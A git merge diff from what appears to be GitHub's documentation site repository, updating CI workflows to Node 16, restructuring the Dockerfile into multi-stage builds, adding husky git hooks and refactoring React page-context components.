Merge branch 'main' into issue-comment-webhook-description
@@ -5,7 +5,7 @@ module.exports = {
|
||||
es2020: true,
|
||||
node: true
|
||||
},
|
||||
parser: 'babel-eslint',
|
||||
parser: '@babel/eslint-parser',
|
||||
extends: [
|
||||
'eslint:recommended',
|
||||
'standard'
|
||||
|
||||
2
.github/CODEOWNERS
vendored
@@ -5,6 +5,8 @@
|
||||
|
||||
# Engineering
|
||||
*.js @github/docs-engineering
|
||||
*.ts @github/docs-engineering
|
||||
*.tsx @github/docs-engineering
|
||||
/.github/ @github/docs-engineering
|
||||
/script/ @github/docs-engineering
|
||||
/includes/ @github/docs-engineering
|
||||
|
||||
1
.github/allowed-actions.js
vendored
@@ -34,7 +34,6 @@ module.exports = [
|
||||
"peter-evans/create-pull-request@8c603dbb04b917a9fc2dd991dc54fef54b640b43",
|
||||
"rachmari/actions-add-new-issue-to-column@1a459ef92308ba7c9c9dc2fcdd72f232495574a9",
|
||||
"rachmari/labeler@832d42ec5523f3c6d46e8168de71cd54363e3e2e",
|
||||
"rachmari/puppeteer-container@6d56d6e132a3df76cf60bc290a4282f7fbaed05e",
|
||||
"repo-sync/github-sync@3832fe8e2be32372e1b3970bbae8e7079edeec88",
|
||||
"repo-sync/pull-request@33777245b1aace1a58c87a29c90321aa7a74bd7d",
|
||||
"someimportantcompany/github-actions-slack-message@0b470c14b39da4260ed9e3f9a4f1298a74ccdefd",
|
||||
|
||||
2
.github/workflows/add-review-template.yml
vendored
@@ -13,7 +13,7 @@ jobs:
|
||||
comment-that-approved:
|
||||
name: Add review template
|
||||
runs-on: ubuntu-latest
|
||||
if: github.event.label.name == 'docs-content-ready-for-review' && github.repository == 'github/docs-internal'
|
||||
if: github.event.label.name == 'add-review-template' && github.repository == 'github/docs-internal'
|
||||
|
||||
steps:
|
||||
- name: check out repo content
|
||||
|
||||
27
.github/workflows/browser-test.yml
vendored
@@ -23,16 +23,23 @@ jobs:
|
||||
- name: Setup Node
|
||||
uses: actions/setup-node@c46424eee26de4078d34105d3de3cc4992202b1e
|
||||
with:
|
||||
node-version: 14.x
|
||||
node-version: 16.x
|
||||
|
||||
- name: Install
|
||||
uses: rachmari/puppeteer-container@6d56d6e132a3df76cf60bc290a4282f7fbaed05e
|
||||
timeout-minutes: 5
|
||||
with:
|
||||
args: npm ci
|
||||
- name: Get npm cache directory
|
||||
id: npm-cache
|
||||
run: |
|
||||
echo "::set-output name=dir::$(npm config get cache)"
|
||||
|
||||
- name: Test
|
||||
timeout-minutes: 10
|
||||
uses: rachmari/puppeteer-container@6d56d6e132a3df76cf60bc290a4282f7fbaed05e
|
||||
- name: Cache node modules
|
||||
uses: actions/cache@0781355a23dac32fd3bac414512f4b903437991a
|
||||
with:
|
||||
args: npm run browser-test
|
||||
path: ${{ steps.npm-cache.outputs.dir }}
|
||||
key: ${{ runner.os }}-node-${{ hashFiles('**/package-lock.json') }}
|
||||
restore-keys: |
|
||||
${{ runner.os }}-node-
|
||||
|
||||
- name: Install dependencies
|
||||
run: npm ci --include=optional
|
||||
|
||||
- name: Run brower-test
|
||||
run: npm run browser-test
|
||||
|
||||
2
.github/workflows/build-docker-image.yml
vendored
@@ -23,4 +23,4 @@ jobs:
|
||||
- name: Check out repo
|
||||
uses: actions/checkout@5a4ac9002d0be2fb38bd78e4b4dbde5606d7042f
|
||||
- name: Build the container
|
||||
run: docker build .
|
||||
run: docker build --target production .
|
||||
|
||||
@@ -17,7 +17,7 @@ jobs:
|
||||
uses: actions/checkout@5a4ac9002d0be2fb38bd78e4b4dbde5606d7042f
|
||||
- uses: actions/setup-node@c46424eee26de4078d34105d3de3cc4992202b1e
|
||||
with:
|
||||
node-version: 14.x
|
||||
node-version: 16.x
|
||||
- name: cache node modules
|
||||
uses: actions/cache@0781355a23dac32fd3bac414512f4b903437991a
|
||||
with:
|
||||
|
||||
2
.github/workflows/js-lint.yml
vendored
@@ -21,7 +21,7 @@ jobs:
|
||||
- name: Setup node
|
||||
uses: actions/setup-node@c46424eee26de4078d34105d3de3cc4992202b1e
|
||||
with:
|
||||
node-version: 14.x
|
||||
node-version: 16.x
|
||||
|
||||
- name: Get npm cache directory
|
||||
id: npm-cache
|
||||
|
||||
2
.github/workflows/link-check-dotcom.yml
vendored
@@ -23,7 +23,7 @@ jobs:
|
||||
- name: Setup node
|
||||
uses: actions/setup-node@c46424eee26de4078d34105d3de3cc4992202b1e
|
||||
with:
|
||||
node-version: 14.x
|
||||
node-version: 16.x
|
||||
|
||||
- name: Install
|
||||
run: npm ci
|
||||
|
||||
2
.github/workflows/link-check-ghae.yml
vendored
@@ -23,7 +23,7 @@ jobs:
|
||||
- name: Setup node
|
||||
uses: actions/setup-node@c46424eee26de4078d34105d3de3cc4992202b1e
|
||||
with:
|
||||
node-version: 14.x
|
||||
node-version: 16.x
|
||||
|
||||
- name: Install
|
||||
run: npm ci
|
||||
|
||||
2
.github/workflows/link-check-ghes.yml
vendored
@@ -23,7 +23,7 @@ jobs:
|
||||
- name: Setup node
|
||||
uses: actions/setup-node@c46424eee26de4078d34105d3de3cc4992202b1e
|
||||
with:
|
||||
node-version: 14.x
|
||||
node-version: 16.x
|
||||
|
||||
- name: Install
|
||||
run: npm ci
|
||||
|
||||
7
.github/workflows/pa11y.yml
vendored
@@ -16,6 +16,11 @@ jobs:
|
||||
- name: Check out repo
|
||||
uses: actions/checkout@5a4ac9002d0be2fb38bd78e4b4dbde5606d7042f
|
||||
|
||||
- name: Setup Node
|
||||
uses: actions/setup-node@c46424eee26de4078d34105d3de3cc4992202b1e
|
||||
with:
|
||||
node-version: 16.x
|
||||
|
||||
- name: Get npm cache directory
|
||||
id: npm-cache
|
||||
run: |
|
||||
@@ -30,7 +35,7 @@ jobs:
|
||||
${{ runner.os }}-node-
|
||||
|
||||
- name: Install dependencies
|
||||
run: npm ci
|
||||
run: npm ci --include=optional
|
||||
|
||||
- name: Run build scripts
|
||||
run: npm run build
|
||||
|
||||
31
.github/workflows/send-crowdin-prs-to-boards.yml
vendored
@@ -1,31 +0,0 @@
|
||||
name: Send Crowdin PRs to boards
|
||||
|
||||
# **What it does**: Sends PRs opened on the crowdin branch to the ready for work column in this board: https://github.com/orgs/github/projects/1269#column-13447153
|
||||
# **Why we have it**: To make sure the first responder sees crowdin translations that need to be merged as they review the Task board.
|
||||
# **Who does it impact**: Docs localization and Docs Engineering
|
||||
|
||||
on:
|
||||
pull_request:
|
||||
types:
|
||||
- opened
|
||||
|
||||
jobs:
|
||||
triage:
|
||||
if: github.repository == 'github/docs-internal' && github.event.pull_request.head.ref == 'translations'
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/github-script@626af12fe9a53dc2972b48385e7fe7dec79145c9
|
||||
with:
|
||||
github-token: ${{ secrets.DOCUBOT_READORG_REPO_WORKFLOW_SCOPES }}
|
||||
script: |
|
||||
var squadBoardColumnId = 13447153; // Add to the team task board
|
||||
|
||||
try {
|
||||
await github.projects.createCard({
|
||||
column_id: squadBoardColumnId,
|
||||
content_id: context.payload.pull_request.id,
|
||||
content_type: "PullRequest"
|
||||
});
|
||||
} catch (error) {
|
||||
console.log(error);
|
||||
}
|
||||
4
.github/workflows/site-policy-sync.yml
vendored
@@ -22,7 +22,9 @@ on:
|
||||
jobs:
|
||||
# This workflow contains a single job called "build"
|
||||
copy-file:
|
||||
if: github.repository == 'github/docs-internal'
|
||||
if: |
|
||||
github.event.pull_request.merged == true &&
|
||||
github.repository == 'github/docs-internal'
|
||||
# The type of runner that the job will run on
|
||||
runs-on: ubuntu-latest
|
||||
|
||||
|
||||
@@ -20,7 +20,7 @@ jobs:
|
||||
uses: actions/checkout@5a4ac9002d0be2fb38bd78e4b4dbde5606d7042f
|
||||
- uses: actions/setup-node@c46424eee26de4078d34105d3de3cc4992202b1e
|
||||
with:
|
||||
node-version: 14.x
|
||||
node-version: 16.x
|
||||
- name: cache node modules
|
||||
uses: actions/cache@0781355a23dac32fd3bac414512f4b903437991a
|
||||
with:
|
||||
|
||||
@@ -26,7 +26,7 @@ jobs:
|
||||
uses: actions/checkout@5a4ac9002d0be2fb38bd78e4b4dbde5606d7042f
|
||||
- uses: actions/setup-node@c46424eee26de4078d34105d3de3cc4992202b1e
|
||||
with:
|
||||
node-version: 14.x
|
||||
node-version: 16.x
|
||||
- name: cache node modules
|
||||
uses: actions/cache@0781355a23dac32fd3bac414512f4b903437991a
|
||||
with:
|
||||
|
||||
2
.github/workflows/test-windows.yml
vendored
@@ -34,7 +34,7 @@ jobs:
|
||||
- name: Setup node
|
||||
uses: actions/setup-node@c46424eee26de4078d34105d3de3cc4992202b1e
|
||||
with:
|
||||
node-version: 14.x
|
||||
node-version: 16.x
|
||||
|
||||
- name: Get npm cache directory
|
||||
id: npm-cache
|
||||
|
||||
2
.github/workflows/test.yml
vendored
@@ -39,7 +39,7 @@ jobs:
|
||||
- name: Setup node
|
||||
uses: actions/setup-node@c46424eee26de4078d34105d3de3cc4992202b1e
|
||||
with:
|
||||
node-version: 14.x
|
||||
node-version: 16.x
|
||||
|
||||
- name: Get npm cache directory
|
||||
id: npm-cache
|
||||
|
||||
2
.github/workflows/yml-lint.yml
vendored
@@ -27,7 +27,7 @@ jobs:
|
||||
- name: Setup node
|
||||
uses: actions/setup-node@c46424eee26de4078d34105d3de3cc4992202b1e
|
||||
with:
|
||||
node-version: 14.x
|
||||
node-version: 16.x
|
||||
|
||||
- name: Get npm cache directory
|
||||
id: npm-cache
|
||||
|
||||
1
.husky/.gitignore
vendored
Normal file
@@ -0,0 +1 @@
|
||||
_
|
||||
4
.husky/pre-commit
Executable file
@@ -0,0 +1,4 @@
|
||||
#!/bin/sh
|
||||
. "$(dirname "$0")/_/husky.sh"
|
||||
|
||||
node script/prevent-translation-commits.js
|
||||
4
.husky/pre-push
Executable file
@@ -0,0 +1,4 @@
|
||||
#!/bin/sh
|
||||
. "$(dirname "$0")/_/husky.sh"
|
||||
|
||||
npm run prevent-pushes-to-main
|
||||
@@ -1 +1 @@
|
||||
14.13.0
|
||||
16.2.0
|
||||
@@ -38,7 +38,7 @@ Fork with [GitHub Codespaces](https://github.com/features/codespaces):
|
||||
|
||||
### Make your update:
|
||||
Make your changes to the file(s) you'd like to update. Here are some tips and tricks for [using the docs codebase](#working-in-the-githubdocs-repository).
|
||||
- Are you making changes to the application code? You'll need **Node.js v14** to run the site locally. See [contributing/development.md](contributing/development.md).
|
||||
- Are you making changes to the application code? You'll need **Node.js v16** to run the site locally. See [contributing/development.md](contributing/development.md).
|
||||
- Are you contributing to markdown? We use [GitHub Markdown](contributing/content-markup-reference.md).
|
||||
|
||||
### Open a pull request
|
||||
|
||||
58
Dockerfile
@@ -3,25 +3,62 @@
|
||||
# It uses two multi-stage builds: `install` and the main build to keep the image size down.
|
||||
|
||||
# --------------------------------------------------------------------------------
|
||||
# INSTALL IMAGE
|
||||
# A temporary image that installs production-only dependencies and builds the production-ready front-end bundles.
|
||||
# BASE IMAGE
|
||||
# --------------------------------------------------------------------------------
|
||||
FROM node:16.2.0-alpine as base
|
||||
|
||||
RUN apk add --no-cache make g++ git
|
||||
|
||||
FROM node:14-alpine as install
|
||||
RUN apk add --no-cache python make g++
|
||||
ENV NODE_ENV production
|
||||
WORKDIR /usr/src/docs
|
||||
|
||||
|
||||
# ---------------
|
||||
# ALL DEPS
|
||||
# ---------------
|
||||
FROM base as all_deps
|
||||
|
||||
COPY package*.json ./
|
||||
|
||||
RUN npm ci
|
||||
|
||||
|
||||
# ---------------
|
||||
# PROD DEPS
|
||||
# ---------------
|
||||
FROM all_deps as prod_deps
|
||||
|
||||
RUN npm prune --production
|
||||
|
||||
|
||||
# ---------------
|
||||
# BUILDER
|
||||
# ---------------
|
||||
FROM all_deps as builder
|
||||
|
||||
ENV NODE_ENV production
|
||||
|
||||
COPY javascripts ./javascripts
|
||||
COPY stylesheets ./stylesheets
|
||||
COPY pages ./pages
|
||||
COPY components ./components
|
||||
COPY lib ./lib
|
||||
|
||||
# one part of the build relies on this content file to pull all-products
|
||||
COPY content/index.md ./content/index.md
|
||||
|
||||
COPY webpack.config.js ./webpack.config.js
|
||||
RUN npm ci --production
|
||||
COPY next.config.js ./next.config.js
|
||||
COPY tsconfig.json ./tsconfig.json
|
||||
|
||||
RUN npx tsc
|
||||
|
||||
RUN npm run build
|
||||
|
||||
# --------------------------------------------------------------------------------
|
||||
# MAIN IMAGE
|
||||
# --------------------------------------------------------------------------------
|
||||
|
||||
FROM node:14-alpine
|
||||
FROM node:16.2.0-alpine as production
|
||||
|
||||
# Let's make our home
|
||||
WORKDIR /usr/src/docs
|
||||
@@ -32,11 +69,12 @@ RUN chown node:node /usr/src/docs -R
|
||||
# This should be our normal running user
|
||||
USER node
|
||||
|
||||
# Copy our dependencies
|
||||
COPY --chown=node:node --from=install /usr/src/docs/node_modules /usr/src/docs/node_modules
|
||||
# Copy just our prod dependencies
|
||||
COPY --chown=node:node --from=prod_deps /usr/src/docs/node_modules /usr/src/docs/node_modules
|
||||
|
||||
# Copy our front-end code
|
||||
COPY --chown=node:node --from=install /usr/src/docs/dist /usr/src/docs/dist
|
||||
COPY --chown=node:node --from=builder /usr/src/docs/dist /usr/src/docs/dist
|
||||
COPY --chown=node:node --from=builder /usr/src/docs/.next /usr/src/docs/.next
|
||||
|
||||
# We should always be running in production mode
|
||||
ENV NODE_ENV production
|
||||
|
||||
1
app.json
@@ -2,7 +2,6 @@
|
||||
"name": "docs.github.com",
|
||||
"env": {
|
||||
"NODE_ENV": "production",
|
||||
"NPM_CONFIG_PRODUCTION": "true",
|
||||
"ENABLED_LANGUAGES": "en",
|
||||
"WEB_CONCURRENCY": "1"
|
||||
},
|
||||
|
||||
BIN
assets/images/help/desktop/diff-selection.png
Normal file
|
After Width: | Height: | Size: 18 KiB |
BIN
assets/images/help/desktop/expand-diff-view.png
Normal file
|
After Width: | Height: | Size: 16 KiB |
BIN
assets/images/help/images/example-script-injection-mitigated.png
Normal file
|
After Width: | Height: | Size: 91 KiB |
BIN
assets/images/help/images/example-script-injection-pr-title.png
Normal file
|
After Width: | Height: | Size: 52 KiB |
BIN
assets/images/help/images/example-script-injection-result.png
Normal file
|
After Width: | Height: | Size: 55 KiB |
|
Before Width: | Height: | Size: 130 KiB After Width: | Height: | Size: 112 KiB |
|
Before Width: | Height: | Size: 116 KiB After Width: | Height: | Size: 101 KiB |
BIN
assets/images/help/pull_requests/conversations-menu.png
Normal file
|
After Width: | Height: | Size: 64 KiB |
|
After Width: | Height: | Size: 50 KiB |
|
Before Width: | Height: | Size: 16 KiB After Width: | Height: | Size: 13 KiB |
|
Before Width: | Height: | Size: 46 KiB After Width: | Height: | Size: 87 KiB |
@@ -20,7 +20,11 @@ export const Contribution = () => {
|
||||
</a>
|
||||
<p className="color-text-secondary f6 mt-2">
|
||||
{t`or`}{' '}
|
||||
<a href="https://github.com/github/docs/blob/main/CONTRIBUTING.md" target="_blank">
|
||||
<a
|
||||
href="https://github.com/github/docs/blob/main/CONTRIBUTING.md"
|
||||
target="_blank"
|
||||
rel="noopener"
|
||||
>
|
||||
{t`to_guidelines`}
|
||||
</a>
|
||||
</p>
|
||||
|
||||
@@ -7,16 +7,43 @@ import { ScrollButton } from 'components/ScrollButton'
|
||||
import { SupportSection } from 'components/SupportSection'
|
||||
import { DeprecationBanner } from 'components/DeprecationBanner'
|
||||
import { useMainContext } from 'components/context/MainContext'
|
||||
import { useTranslation } from './hooks/useTranslation'
|
||||
import { useVersion } from './hooks/useVersion'
|
||||
|
||||
type Props = { children?: React.ReactNode }
|
||||
export const DefaultLayout = (props: Props) => {
|
||||
const { builtAssets, expose } = useMainContext()
|
||||
const { builtAssets, expose, page, error } = useMainContext()
|
||||
const { currentVersion } = useVersion()
|
||||
const { t } = useTranslation('errors')
|
||||
return (
|
||||
<div className="d-lg-flex">
|
||||
<Head>
|
||||
{error === '404' ? (
|
||||
<title>{t('oops')}</title>
|
||||
) : currentVersion !== 'homepage' && page.fullTitle ? (
|
||||
<title>{page.fullTitle}</title>
|
||||
) : null}
|
||||
|
||||
<link rel="stylesheet" href={builtAssets.main.css} />
|
||||
<script id="expose" type="application/json" dangerouslySetInnerHTML={{ __html: expose }} />
|
||||
<script src={builtAssets.main.js} />
|
||||
|
||||
{/* For Google and Bots */}
|
||||
{page.introPlainText && <meta name="description" content={page.introPlainText} />}
|
||||
|
||||
{page.topics.length > 0 && <meta name="keywords" content={page.topics.join(',')} />}
|
||||
|
||||
{page.hidden && <meta name="robots" content="noindex" />}
|
||||
|
||||
{page.languageVariants.map((languageVariant) => {
|
||||
return (
|
||||
<link
|
||||
rel="alternate"
|
||||
hrefLang={languageVariant.hreflang}
|
||||
href={`https://docs.github.com${languageVariant.href}`}
|
||||
/>
|
||||
)
|
||||
})}
|
||||
</Head>
|
||||
<SidebarNav />
|
||||
|
||||
|
||||
@@ -50,7 +50,11 @@ export const Header = () => {
|
||||
<div className="width-full">
|
||||
<div className="d-inline-block width-full d-md-flex" style={{ zIndex: 1 }}>
|
||||
<div className="float-right d-md-none position-relative" style={{ zIndex: 3 }}>
|
||||
<ButtonOutline css onClick={() => setIsMenuOpen(!isMenuOpen)}>
|
||||
<ButtonOutline
|
||||
css
|
||||
onClick={() => setIsMenuOpen(!isMenuOpen)}
|
||||
aria-label="Navigation Menu"
|
||||
>
|
||||
{isMenuOpen ? <XIcon size="small" /> : <ThreeBarsIcon size="small" />}
|
||||
</ButtonOutline>
|
||||
</div>
|
||||
|
||||
@@ -4,17 +4,14 @@ import { LinkExternalIcon, MarkGithubIcon } from '@primer/octicons-react'
|
||||
import { useTranslation } from './hooks/useTranslation'
|
||||
import { useMainContext } from './context/MainContext'
|
||||
import { ProductSiteTree } from './product/ProductSiteTree'
|
||||
import { ProductSiteTreeNew } from './product/ProductSiteTreeNew'
|
||||
import { AllProductsLink } from './product/AllProductsLink'
|
||||
import { useVersion } from './hooks/useVersion'
|
||||
import { useFeatureFlags } from './hooks/useFeatureFlags'
|
||||
|
||||
type Props = {}
|
||||
export const SidebarNav = (props: Props) => {
|
||||
const router = useRouter()
|
||||
const { currentVersion } = useVersion()
|
||||
const { error, relativePath } = useMainContext()
|
||||
const { FEATURE_NEW_SITETREE } = useFeatureFlags()
|
||||
const { t } = useTranslation('header')
|
||||
|
||||
return (
|
||||
@@ -44,7 +41,7 @@ export const SidebarNav = (props: Props) => {
|
||||
</ul>
|
||||
) : (
|
||||
<ul className="sidebar-products">
|
||||
{FEATURE_NEW_SITETREE ? <ProductSiteTreeNew /> : <ProductSiteTree />}
|
||||
<ProductSiteTree />
|
||||
</ul>
|
||||
)}
|
||||
</nav>
|
||||
|
||||
@@ -25,36 +25,17 @@ type VersionItem = {
|
||||
versionTitle: string
|
||||
}
|
||||
|
||||
type Article = {
|
||||
href: string
|
||||
title: string
|
||||
shortTitle?: string
|
||||
hidden?: boolean
|
||||
}
|
||||
type ProductSiteTree = {
|
||||
title: string
|
||||
href: string
|
||||
external?: boolean
|
||||
categories?: Record<
|
||||
string,
|
||||
Article & {
|
||||
standalone?: boolean
|
||||
articles?: Record<string, Article>
|
||||
maptopics?: Record<string, Article & { articles?: Record<string, Article> }>
|
||||
}
|
||||
>
|
||||
}
|
||||
|
||||
export type SiteTreePage = {
|
||||
export type CurrentProductTree = {
|
||||
page: {
|
||||
hidden?: boolean
|
||||
documentType: 'article' | 'mapTopic'
|
||||
title: string
|
||||
shortTitle: string
|
||||
}
|
||||
renderedShortTitle?: string
|
||||
renderedFullTitle: string
|
||||
href: string
|
||||
childPages: Array<SiteTreePage>
|
||||
childPages: Array<CurrentProductTree>
|
||||
}
|
||||
|
||||
type DataT = {
|
||||
@@ -100,18 +81,24 @@ export type MainContextT = {
|
||||
currentLanguage: string
|
||||
languages: Record<string, LanguageItem>
|
||||
allVersions: Record<string, VersionItem>
|
||||
productSiteTree?: ProductSiteTree
|
||||
productSiteTreeNew?: SiteTreePage
|
||||
currentProductTree?: CurrentProductTree
|
||||
featureFlags: FeatureFlags
|
||||
pageHidden: boolean
|
||||
pagePermalinks?: Array<{
|
||||
languageCode: string
|
||||
relativePath: string
|
||||
title: string
|
||||
pageVersionTitle: string
|
||||
pageVersion: string
|
||||
href: string
|
||||
}>
|
||||
page: {
|
||||
languageVariants: Array<{ name: string; code: string; hreflang: string; href: string }>
|
||||
topics: Array<string>
|
||||
fullTitle?: string
|
||||
introPlainText?: string
|
||||
hidden: boolean
|
||||
permalinks?: Array<{
|
||||
languageCode: string
|
||||
relativePath: string
|
||||
title: string
|
||||
pageVersionTitle: string
|
||||
pageVersion: string
|
||||
href: string
|
||||
}>
|
||||
}
|
||||
|
||||
enterpriseServerVersions: Array<string>
|
||||
}
|
||||
|
||||
@@ -137,17 +124,23 @@ export const getMainContextFromRequest = (req: any): MainContextT => {
|
||||
airGap: req.context.AIRGAP || false,
|
||||
currentCategory: req.context.currentCategory || '',
|
||||
relativePath: req.context.page?.relativePath,
|
||||
pagePermalinks: req.context.page?.permalinks.map((obj: any) =>
|
||||
pick(obj, [
|
||||
'title',
|
||||
'pageVersionTitle',
|
||||
'pageVersion',
|
||||
'href',
|
||||
'relativePath',
|
||||
'languageCode',
|
||||
])
|
||||
),
|
||||
pageHidden: req.context.page.hidden || false,
|
||||
page: {
|
||||
languageVariants: req.context.page.languageVariants,
|
||||
fullTitle: req.context.page.fullTitle,
|
||||
topics: req.context.page.topics || [],
|
||||
introPlainText: req.context.page?.introPlainText,
|
||||
permalinks: req.context.page?.permalinks.map((obj: any) =>
|
||||
pick(obj, [
|
||||
'title',
|
||||
'pageVersionTitle',
|
||||
'pageVersion',
|
||||
'href',
|
||||
'relativePath',
|
||||
'languageCode',
|
||||
])
|
||||
),
|
||||
hidden: req.context.page.hidden || false,
|
||||
},
|
||||
enterpriseServerReleases: JSON.parse(JSON.stringify(req.context.enterpriseServerReleases)),
|
||||
enterpriseServerVersions: req.context.enterpriseServerVersions,
|
||||
currentLanguage: req.context.currentLanguage,
|
||||
@@ -166,19 +159,8 @@ export const getMainContextFromRequest = (req: any): MainContextT => {
|
||||
),
|
||||
allVersions: req.context.allVersions,
|
||||
// this gets rid of some `undefined` values, which is necessary so next.js can serialize the data
|
||||
productSiteTree: !req.context.FEATURE_NEW_SITETREE
|
||||
? JSON.parse(
|
||||
JSON.stringify(
|
||||
req.context.siteTree[req.context.currentLanguage][req.context.currentVersion].products[
|
||||
req.context.currentProduct
|
||||
]
|
||||
)
|
||||
)
|
||||
: null,
|
||||
productSiteTreeNew: req.context.FEATURE_NEW_SITETREE ? req.context.siteTree : null,
|
||||
featureFlags: {
|
||||
FEATURE_NEW_SITETREE: req.context.FEATURE_NEW_SITETREE || false,
|
||||
},
|
||||
currentProductTree: JSON.parse(JSON.stringify(req.context.currentProductTree)),
|
||||
featureFlags: {},
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -19,15 +19,6 @@ export type CodeExample = {
|
||||
export type Product = {
|
||||
title: string
|
||||
href: string
|
||||
categories: Record<
|
||||
string,
|
||||
{
|
||||
href: string
|
||||
title: string
|
||||
standalone?: boolean
|
||||
articles?: Record<string, { href: string; title: string; shortTitle?: string }>
|
||||
}
|
||||
>
|
||||
}
|
||||
|
||||
export type ProductLandingContextT = {
|
||||
@@ -79,14 +70,7 @@ export const useProductLandingContext = (): ProductLandingContextT => {
|
||||
}
|
||||
|
||||
export const getProductLandingContextFromRequest = (req: any): ProductLandingContextT => {
|
||||
const {
|
||||
currentCategory,
|
||||
currentPath,
|
||||
siteTree,
|
||||
currentLanguage,
|
||||
currentVersion,
|
||||
currentProduct,
|
||||
} = req.context
|
||||
const productTree = req.context.currentProductTree
|
||||
return {
|
||||
...pick(req.context.page, [
|
||||
'title',
|
||||
@@ -97,14 +81,13 @@ export const getProductLandingContextFromRequest = (req: any): ProductLandingCon
|
||||
'product_video',
|
||||
'changelog',
|
||||
]),
|
||||
product: JSON.parse(
|
||||
JSON.stringify(siteTree[currentLanguage][currentVersion].products[currentProduct])
|
||||
),
|
||||
whatsNewChangelog: req.context.whatsNewChangelog,
|
||||
changelogUrl: req.context.changelogUrl,
|
||||
|
||||
product: {
|
||||
href: productTree.href,
|
||||
title: productTree.renderedShortTitle || productTree.renderedFullTitle,
|
||||
},
|
||||
whatsNewChangelog: req.context.whatsNewChangelog || [],
|
||||
changelogUrl: req.context.changelogUrl || [],
|
||||
productCodeExamples: req.context.productCodeExamples || [],
|
||||
|
||||
productCommunityExamples: req.context.productCommunityExamples || [],
|
||||
|
||||
productUserExamples: (req.context.productUserExamples || []).map(
|
||||
@@ -114,11 +97,13 @@ export const getProductLandingContextFromRequest = (req: any): ProductLandingCon
|
||||
})
|
||||
),
|
||||
|
||||
introLinks: Object.fromEntries(
|
||||
Object.entries(req.context.page.introLinks || {}).filter(([key, val]) => !!val)
|
||||
),
|
||||
introLinks: {
|
||||
quickstart: productTree.page.introLinks.quickstart,
|
||||
reference: productTree.page.introLinks.reference,
|
||||
overview: productTree.page.introLinks.overview,
|
||||
},
|
||||
|
||||
guideCards: (req.context.featuredLinks.guideCards || []).map((link: any) => {
|
||||
guideCards: (req.context.featuredLinks ? (req.context.featuredLinks.guideCards || []) : []).map((link: any) => {
|
||||
return {
|
||||
href: link.href,
|
||||
title: link.title,
|
||||
@@ -127,14 +112,14 @@ export const getProductLandingContextFromRequest = (req: any): ProductLandingCon
|
||||
}
|
||||
}),
|
||||
|
||||
featuredArticles: Object.entries(req.context.featuredLinks)
|
||||
featuredArticles: Object.entries(req.context.featuredLinks || [])
|
||||
.filter(([key]) => {
|
||||
return key === 'guides' || key === 'popular'
|
||||
})
|
||||
.map(([key, links]: any) => {
|
||||
return {
|
||||
label: req.context.site.data.ui.toc[key],
|
||||
viewAllHref: key === 'guides' && !currentCategory ? `${currentPath}/${key}` : '',
|
||||
viewAllHref: key === 'guides' && !req.context.currentCategory ? `${req.context.currentPath}/${key}` : '',
|
||||
articles: links.map((link: any) => {
|
||||
return {
|
||||
hideIntro: key === 'popular',
|
||||
@@ -145,6 +130,7 @@ export const getProductLandingContextFromRequest = (req: any): ProductLandingCon
|
||||
}
|
||||
}),
|
||||
}
|
||||
}),
|
||||
}
|
||||
),
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,8 +1,6 @@
|
||||
import { useMainContext } from 'components/context/MainContext'
|
||||
|
||||
export type FeatureFlags = {
|
||||
FEATURE_NEW_SITETREE: boolean
|
||||
}
|
||||
export type FeatureFlags = {}
|
||||
|
||||
export const useFeatureFlags = (): FeatureFlags => {
|
||||
const { featureFlags } = useMainContext()
|
||||
|
||||
@@ -1,55 +0,0 @@
|
||||
import Link from 'next/link'
|
||||
import { ChevronUpIcon } from '@primer/octicons-react'
|
||||
import cx from 'classnames'
|
||||
|
||||
import { useProductLandingContext, Product } from 'components/context/ProductLandingContext'
|
||||
import { useState } from 'react'
|
||||
|
||||
const maxArticles = 10
|
||||
|
||||
export const AllArticlesProduct = () => {
|
||||
const { product } = useProductLandingContext()
|
||||
|
||||
return (
|
||||
<div className="d-flex gutter flex-wrap">
|
||||
{Object.entries(product.categories).map(([key, category]) => {
|
||||
if (category.standalone) {
|
||||
return null
|
||||
}
|
||||
|
||||
return <ArticleList key={key} category={category} />
|
||||
})}
|
||||
</div>
|
||||
)
|
||||
}
|
||||
|
||||
const ArticleList = ({ category }: { category: Product['categories'][0] }) => {
|
||||
const [isShowingMore, setIsShowingMore] = useState(false)
|
||||
const numArticles = Object.keys(category.articles || {}).length
|
||||
return (
|
||||
<div className="col-12 col-lg-4 mb-6 height-full">
|
||||
<h4 className="mb-3">
|
||||
<Link href={category.href}>
|
||||
<a>{category.title}</a>
|
||||
</Link>
|
||||
</h4>
|
||||
|
||||
<ul className="list-style-none">
|
||||
{Object.entries(category.articles || {}).map(([key, article], i) => {
|
||||
return (
|
||||
<li key={key} className={cx('mb-3', !isShowingMore && i > maxArticles - 1 && 'd-none')}>
|
||||
<Link href={article.href}>
|
||||
<a>{article.title}</a>
|
||||
</Link>
|
||||
</li>
|
||||
)
|
||||
})}
|
||||
</ul>
|
||||
{numArticles > maxArticles && !isShowingMore && (
|
||||
<button className="btn-link Link--secondary" onClick={() => setIsShowingMore(true)}>
|
||||
Show {numArticles - maxArticles} more <ChevronUpIcon className="v-align-text-bottom" />
|
||||
</button>
|
||||
)}
|
||||
</div>
|
||||
)
|
||||
}
|
||||
@@ -1,6 +1,6 @@
|
||||
import cx from 'classnames'
|
||||
import Link from 'next/link'
|
||||
import { format } from 'date-fns'
|
||||
import dayjs from 'dayjs'
|
||||
|
||||
import { ArrowRightIcon } from '@primer/octicons-react'
|
||||
import { FeaturedLink, useProductLandingContext } from 'components/context/ProductLandingContext'
|
||||
@@ -61,7 +61,7 @@ const ArticleList = ({ title, viewAllHref, articles }: ArticleListProps) => {
|
||||
return (
|
||||
<>
|
||||
<div className="featured-links-heading mb-4 d-flex flex-items-baseline">
|
||||
<h3 className="f4 text-normal text-mono text-uppercase color-text-secondary">{title}</h3>
|
||||
<h3 className="f4 text-normal text-mono text-uppercase">{title}</h3>
|
||||
{viewAllHref && (
|
||||
<Link href={viewAllHref}>
|
||||
<a className="ml-4">
|
||||
@@ -93,9 +93,9 @@ const ArticleList = ({ title, viewAllHref, articles }: ArticleListProps) => {
|
||||
{link.date && (
|
||||
<time
|
||||
className="tooltipped tooltipped-n color-text-tertiary text-mono mt-1"
|
||||
aria-label={format(new Date(link.date), 'PPP')}
|
||||
aria-label={dayjs(link.date).format('LLL')}
|
||||
>
|
||||
{format(new Date(link.date), 'MMMM dd')}
|
||||
{dayjs(link.date).format('MMMM DD')}
|
||||
</time>
|
||||
)}
|
||||
</a>
|
||||
|
||||
